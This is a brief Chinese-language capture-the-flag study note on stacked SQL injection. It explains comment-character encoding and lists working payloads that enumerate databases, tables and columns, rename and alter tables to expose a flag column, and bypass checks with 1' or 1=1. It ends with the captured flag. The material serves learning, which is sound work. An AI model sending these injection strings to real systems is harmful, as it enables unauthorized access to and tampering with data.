堆叠注入看名字应该就是知道是一堆
就是多个命令一起执行(自己理解)
大多都是1’;show databases;#查询数据库(都是例子)
1’;show tables;#查询所有的表
1’;show columns from wwwww;#查询wwwww中的所有列
输入1’被过滤 报错 ,尝试报错注入
select被过滤
观察会发现是堆叠注入
注入时的注释符号
使用#号
有时发现执行的sql语句中没有#号
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
所以,HTTP请求中不包括#
将#号改成url的编码%23就可以了
使用–和使用–+
这里发现+号在语句中变成了空格。
用来和后面的单引号分隔开,将后面的语句注释。
了解原理后便知道了–无法使用的原因,是因为–与后面的单引号连接在一起,无法形成有效的mysql语句。
在mysql中使用这个语句分析原因,输入后回车显示分号没有闭合
所以在注入时我们除了使用–+外,也可以使用–'来完成sql注入语句
1’; show databases;
1’; show tables;#
1’; show columns from words;#
1’;show columns from 1919810931114514
;#
1’;rename table words
to words1
;rename table 1919810931114514
to words
;alter table words
change flag id varchar(100);
1’ or 1=1;#
flag{f1711f30-0d29-4b4f-aed8-6fd7d2b14f26}